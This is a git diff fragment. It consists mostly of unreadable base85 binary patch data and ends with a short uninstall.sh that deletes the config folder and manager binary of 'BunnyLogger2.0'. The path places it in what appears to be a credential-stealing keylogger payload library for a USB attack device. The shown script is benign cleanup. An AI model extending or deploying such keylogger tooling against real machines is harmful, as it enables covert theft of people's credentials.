zem?S};3#Cso;+jZ!4MDNI%Y{27&~Lgz2e`R#WpYx>4V`jBGF4*8wY$w3?2*t$}%R$ zO61G_YGe@gBQJp24(2{E_mLTWPpbBU+XQX~+#Kj5pfjY~AgXg+hFE?rgQAHmCab5m zovAt-eOOc{b7(t0{~f?}6i|}b>MJ<5mOm5<3&Oy$acy_&ZRz?W@=cvZm=mZ2&(a#p zm4`-oh}Yvf>}j;+{;u2UsjYksaBG;0RYckC{#ZNopN0Ojj94;=SfuE{mQw=J;EX@k z1ex32GTnwgA3>irFXHy|a(}+{wGBd`ZL)4|p13ZO6`Ofe+IzWBaKCW5V}Q+^jfP^G z7Kz!L{q#}uK*0+or|X+=4H`!~VtSQS(LhB56%AB0P|-j|0~HNaG*Hn%MFSNLR5Vc0 zKt%)pzXsN2qX=o9XxH3ftRchrUzGhhB%^;5qTeNrEfP(#QHF#q0+)IpQ~Vt1xwkZf z*CD!8L&Q6UU7BaP{AMi4%HR2*aKh2-4?j`3R4@BYNV2sdsfFd(s&nZER%A7|2Q3A* zFRQgYk7C$>Q;zHhNm^mUS1Bpm{4U|mb1u#Bz>I$o?*)=%<4!Y!ty7n5U+GdokH@Nh zK>A(TghDEiHodQt?qKk}5jTj{awCoOPpl)Rh*@GMv7b0foFq;YXNil%CE`Wm8gYYIEgRR; zKe3LOB4&x5MEL_+Nu$I`;xuuVxJcC6*x!F!bC?(ZGg*DZ!JlgGEn>Gm=HQKz9{;(P zpZ|j5gXGVVf6o2LhCS3!J0AY3P|{DxUuOOJTa^D4`8B^#I=)|ViTot_%N@%9)%%XCx52+y!AV-^k>PB6Y~?w&-_?1LH_tD zrFW6Og_wRo`E8_cCw4!i`~lJ<#Q7QJPm%sUF?m?|PmqrPQt8@bicgc@O}=+r`7eg} zt9L8^Pvn1zSbJ3YuaW)_arrLgZ+k-VG~4euuC!0SwX>R6{?#FV{_D!W+;?hs-_D&o zQVsp7T{rJU>hC?=(6ckO3-1Ei-O#sVM{ob`-FSSex9`x%fV6S{$tzy)65klav(Ll0 zPd(vYQjzx(c)GPOF>rh&acBfL6XSVyvKlkF8;5%aJXeMns|bL_}rbbn%4TE^g9JBRSlgN(e(9Y1c5=UKU&Ha|LF{J!{5 z^XGHS7+RcREt|M2k-Q$E86E#5P< z_)z2}CJf7e3p~+@jL#*;E$&BXFf5K_sT-^11@V7tW%6;#8@hWc0|K?o8=eZuKSRH2 zXydgej5a(Il3%90;di;Nn!NRE^!GyYc0FKdak148+y4(JZ|BcD&zi*K=SdUd<)rsR z(4v2nPySXb7|OlK!4&RamieIk%I~zc;g}zkE}ehlK8cJ};k5Pa`e*L1TEp~g^^G=s z4h2^R)+z_3zUyjF=n6Eubs!!kd@;%`IUczKw9~mV!cA~+vE-Z zjFO80Sljn3O7KiO8IQC*CWbS1D?+2O4hx_^vitj^( literal 0 HcmV?d00001 diff --git a/payloads/library/credentials/BunnyLogger2.0/uninstall.sh b/payloads/library/credentials/BunnyLogger2.0/uninstall.sh new file mode 100644 index 00000000..e6059c36 --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/uninstall.sh @@ -0,0 +1,4 @@ +#!/bin/bash +path=~/.config/bunnyLogger +rm -rf $path +sudo rm /usr/local/bin/bunnyLoggerMgr